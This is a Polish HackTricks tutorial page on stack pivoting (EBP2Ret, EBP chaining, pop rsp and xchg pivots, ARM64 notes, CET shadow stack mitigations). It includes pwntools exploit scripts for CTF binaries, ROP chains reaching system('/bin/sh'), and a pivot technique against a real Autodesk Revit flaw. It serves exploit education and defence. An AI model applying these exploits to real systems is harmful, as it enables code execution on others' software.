Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 13 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Ta technika wykorzystuje możliwość manipulowania Base Pointer (EBP/RBP) do łańcuchowego wykonywania wielu funkcji poprzez staranne użycie frame pointer i sekwencji instrukcji leave; ret
.
Dla przypomnienia, na x86/x86-64 leave
jest równoważne z:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
Ponieważ zapisane EBP/RBP znajduje się na stosie przed zapisanym EIP/RIP, można je kontrolować poprzez kontrolę stosu.
Uwaga
- Na 64-bitowych systemach zamień EBP→RBP i ESP→RSP. Semantyka jest taka sama.
- Niektóre kompilatory pomijają wskaźnik ramki (zobacz “EBP might not be used”). W takim wypadku
leave
może nie występować i ta technika nie zadziała.
EBP2Ret
Ta technika jest szczególnie użyteczna, gdy możesz zmienić zapisane EBP/RBP, ale nie masz bezpośredniej możliwości zmiany EIP/RIP. Wykorzystuje zachowanie epilogów funkcji.
Jeśli podczas wykonywania fvuln
uda Ci się wstrzyknąć na stos fałszywe EBP, które wskazuje na obszar pamięci zawierający adres Twojego shellcode/ROP chain (plus 8 bajtów na amd64 / 4 bajty na x86, by uwzględnić pop
), możesz pośrednio kontrolować RIP. W miarę jak funkcja zwraca, leave
ustawi RSP na spreparowaną lokalizację, a następny pop rbp
zmniejszy RSP, efektywnie powodując, że będzie on wskazywał na adres umieszczony tam przez atakującego. Następnie ret
użyje tego adresu.
Zauważ, że musisz znać 2 adresy: adres, pod który trafi ESP/RSP, oraz wartość przechowywaną pod tym adresem, którą ret
pobierze.
Exploit Construction
Najpierw musisz znać adres, pod który możesz zapisać dowolne dane/adrezy. RSP będzie wskazywać tutaj i skonsumuje pierwszy ret
.
Następnie musisz wybrać adres używany przez ret
, który przeniesie wykonanie. Możesz użyć:
- Ważnego ONE_GADGET.
- Adresu
system()
z odpowiednim return i argumentami (na x86:ret
target =&system
, potem 4 bajty śmieci, potem&"/bin/sh"
). - Adresu gadgetu
jmp esp;
(ret2esp) poprzedzonego inline shellcode. - ROP chain umieszczonego w zapisywalnej pamięci.
Pamiętaj, że przed którymkolwiek z tych adresów w kontrolowanym obszarze musi być miejsce dla pop ebp/rbp
z leave
(8B na amd64, 4B na x86). Możesz wykorzystać te bajty do ustawienia drugiego fałszywego EBP i utrzymania kontroli po pierwszym returnie.
Off-By-One Exploit
Istnieje wariant używany, gdy możesz zmienić tylko najmniej znaczący bajt zapisanych EBP/RBP. W takim przypadku lokalizacja pamięci przechowująca adres, na który ma skoczyć ret
, musi dzielić pierwsze trzy/pięć bajtów z oryginalnym EBP/RBP, aby nadpisanie jednego bajtu mogło przekierować go. Zwykle low byte (offset 0x00) jest zwiększany, by skoczyć jak najdalej w obrębie pobliskiej strony/wyrównanego regionu.
Często używa się też RET sled na stosie i umieszcza właściwy ROP chain na jego końcu, aby zwiększyć prawdopodobieństwo, że nowy RSP trafi do środka sleda i zostanie wykonany końcowy ROP chain.
EBP Chaining
Poprzez umieszczenie kontrolowanego adresu w zapisie EBP
na stosie i posiadanie gadgetu leave; ret
w EIP/RIP, możliwe jest przeniesienie ESP/RSP
na adres kontrolowany przez atakującego.
Teraz RSP
jest kontrolowany, a następna instrukcja to ret
. Umieść w kontrolowanej pamięci coś takiego:
&(next fake EBP)
-> Załadowane przezpop ebp/rbp
zleave
.&system()
-> Wywołane przezret
.&(leave;ret)
-> Po zakończeniusystem
przenosi RSP do następnego fake EBP i kontynuuje.&("/bin/sh")
-> Argument dlasystem
.
W ten sposób można łączyć kilka fałszywych EBP, aby kontrolować przepływ programu.
To jest podobne do ret2lib, ale bardziej złożone i przydatne tylko w przypadkach brzegowych.
Ponadto, tutaj masz przykład challenge'a wykorzystujący tę technikę z użyciem stack leak do wywołania funkcji zwycięskiej. To jest finalny payload ze strony:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
Wskazówka dotycząca wyrównania dla amd64: System V ABI wymaga wyrównania stosu do 16 bajtów w miejscach wywołań. Jeśli twój łańcuch wywołuje funkcje takie jak
system
, dodaj gadget wyrównujący (np.ret
lubsub rsp, 8 ; ret
) przed wywołaniem, aby zachować wyrównanie i uniknąć awarii spowodowanych przezmovaps
.
EBP może nie być używane
Jak wyjaśniono w tym poście, jeśli binarka jest skompilowana z pewnymi optymalizacjami lub z frame-pointer omission, to EBP/RBP nigdy nie kontroluje ESP/RSP. W związku z tym każdy exploit opierający się na kontroli EBP/RBP zawiedzie, ponieważ prolog/epilog nie przywraca wartości ze wskaźnika ramki.
- Nieoptymalizowane / frame pointer używany:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Zoptymalizowany / wskaźnik ramki pominięty:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Na amd64 często zobaczysz pop rbp ; ret
zamiast leave ; ret
, ale jeśli wskaźnik ramki jest całkowicie pominięty to nie ma epilogu opartego na rbp
, przez który można by pivotować.
Inne sposoby kontrolowania RSP
pop rsp
gadget
In this page możesz znaleźć przykład używający tej techniki. W tym zadaniu trzeba było wywołać funkcję z 2 konkretnymi argumentami, i był tam pop rsp
gadget oraz istniał leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Sprawdź technikę ret2esp tutaj:
Szybkie znajdowanie pivot gadgets
Użyj swojego ulubionego gadget findera, aby wyszukać klasyczne pivot primitives:
leave ; ret
on functions or in librariespop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(oradd esp, <imm> ; ret
on x86)
Przykłady:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Klasyczny pivot staging pattern
Solidna strategia pivot używana w wielu CTFs/exploits:
- Użyj małego początkowego overflow, aby wywołać
read
/recv
do dużego zapisywalnego regionu (np..bss
, heap lub mapped RW memory) i umieść tam pełny ROP chain. - Powróć do pivot gadget (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
), aby przenieść RSP do tego regionu. - Kontynuuj ze staged chain (np. leak libc, wywołaj
mprotect
, następnieread
shellcode, a potem skocz do niego).
Windows: Destructor-loop weird-machine pivots (Revit RFA studium przypadku)
Parsery po stronie klienta czasami implementują destructor loops, które pośrednio wywołują function pointer wyprowadzony z attacker-controlled object fields. Jeśli każda iteracja oferuje dokładnie jedno wywołanie pośrednie (a “one-gadget” machine), możesz to przekształcić w niezawodny stack pivot i wejście do ROP.
Zaobserwowano w Autodesk Revit RFA deserialization (CVE-2025-5037):
- Spreparowane obiekty typu
AString
umieszczają wskaźnik do attacker bytes pod offsetem 0. - Pętla destruktora (destructor loop) efektywnie wykonuje jeden gadget na obiekt:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Two practical pivots:
- Windows 10 (32-bit heap addrs): misaligned “monster gadget” that contains
8B E0
→mov esp, eax
, eventuallyret
, to pivot from the call primitive to a heap-based ROP chain. - Windows 11 (full 64-bit addrs): use two objects to drive a constrained weird-machine pivot:
- Gadget 1:
push rax ; pop rbp ; ret
(przenosi oryginalny rax do rbp) - Gadget 2:
leave ; ... ; ret
(staje sięmov rsp, rbp ; pop rbp ; ret
), pivoting into the first object’s buffer, where a conventional ROP chain follows.
Wskazówki dla Windows x64 po pivot:
- Szanuj 0x20-byte shadow space i zachowaj 16-byte alignment przed miejscami
call
. Często wygodnie jest umieścić literały nad adresem powrotu i użyć gadżetu takiego jaklea rcx, [rsp+0x20] ; call rax
a następniepop rax ; ret
aby przekazać adresy stosu bez uszkadzania przepływu sterowania. - Non-ASLR helper modules (jeśli obecne) zapewniają stabilne pule gadgetów i importy takie jak
LoadLibraryW
/GetProcAddress
do dynamicznego rozwiązywania celów jakucrtbase!system
. - Tworzenie brakujących gadgetów za pomocą writable thunk: jeśli obiecująca sekwencja kończy się
call
przez zapisowalny wskaźnik funkcji (np. DLL import thunk lub wskaźnik funkcji w .data), nadpisz ten wskaźnik łagodnym jednowierszowym gadgetem jakpop rax ; ret
. Sekwencja wtedy zachowuje się, jakby kończyła sięret
(np.mov rdx, rsi ; mov rcx, rdi ; ret
), co jest nieocenione do załadowania rejestrów argumentów Windows x64 bez nadpisywania innych.
Dla pełnej konstrukcji łańcucha i przykładów gadgetów zobacz odniesienie poniżej.
Nowoczesne mechanizmy łagodzące, które łamią stack pivoting (CET/Shadow Stack)
Nowoczesne x86 CPU i OS-y coraz częściej wdrażają CET Shadow Stack (SHSTK). Gdy SHSTK jest włączony, ret
porównuje adres powrotu na normalnym stosie z hardware’owo chronionym shadow stack; każda niezgodność powoduje Control-Protection fault i zabija proces. Dlatego techniki takie jak EBP2Ret/leave;ret-based pivots spowodują crash natychmiast po wykonaniu pierwszego ret
ze pivotowanego stosu.
- For background and deeper details see:
- Szybkie kontrole na Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Uwagi dla labs/CTF:
-
Niektóre nowoczesne dystrybucje włączają SHSTK dla binarek kompatybilnych z CET, jeśli sprzęt i glibc na to pozwalają. Do kontrolowanych testów w VMach, SHSTK można wyłączyć systemowo przez parametr rozruchowy kernela
nousershstk
, albo selektywnie włączać przez glibc tunables podczas startu (zob. references). Nie wyłączaj zabezpieczeń na systemach produkcyjnych. -
Techniki oparte na JOP/COOP lub SROP mogą być nadal wykonalne na niektórych celach, ale SHSTK konkretnie łamie pivoty oparte na
ret
. -
Uwaga dotycząca Windows: Windows 10+ udostępnia user-mode, a Windows 11 dodaje kernel-mode “Hardware-enforced Stack Protection” zbudowane na shadow stacks. Procesy kompatybilne z CET zapobiegają stack pivoting/ROP przy
ret
; deweloperzy włączają to przez CETCOMPAT i powiązane polityki (zob. reference).
ARM64
W ARM64 prologi i epilogi funkcji nie zapisują ani nie odtwarzają rejestru SP na stosie. Co więcej, instrukcja RET
nie zwraca na adres wskazywany przez SP, lecz na adres zawarty w x30
.
Dlatego domyślnie samo wykorzystanie epilogu nie pozwoli na kontrolę rejestru SP poprzez nadpisanie danych na stosie. Nawet jeśli uda się przejąć kontrolę nad SP, nadal trzeba będzie w jakiś sposób skontrolować rejestr x30
.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
Sposób na wykonanie czegoś podobnego do stack pivoting w ARM64 polegałby na możliwości kontroli SP
(np. przez kontrolę jakiegoś rejestru, którego wartość jest przekazywana do SP
, lub gdy SP
pobiera swój adres ze stosu i mamy overflow), a następnie wykorzystaniu epilogu do załadowania rejestru x30
z kontrolowanego SP
i wykonaniu na niego RET
.
Również na następującej stronie można zobaczyć odpowiednik Ret2esp in ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64-bitowe off-by-one exploitation z łańcuchem ROP zaczynającym się od ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing
.fini_array
entries + calling__libc_csu_fini
(more info here). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP. - Dokumentacja jądra Linux: Control-flow Enforcement Technology (CET) Shadow Stack — szczegóły na temat SHSTK,
nousershstk
, flag/proc/$PID/status
oraz włączania przezarch_prctl
. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.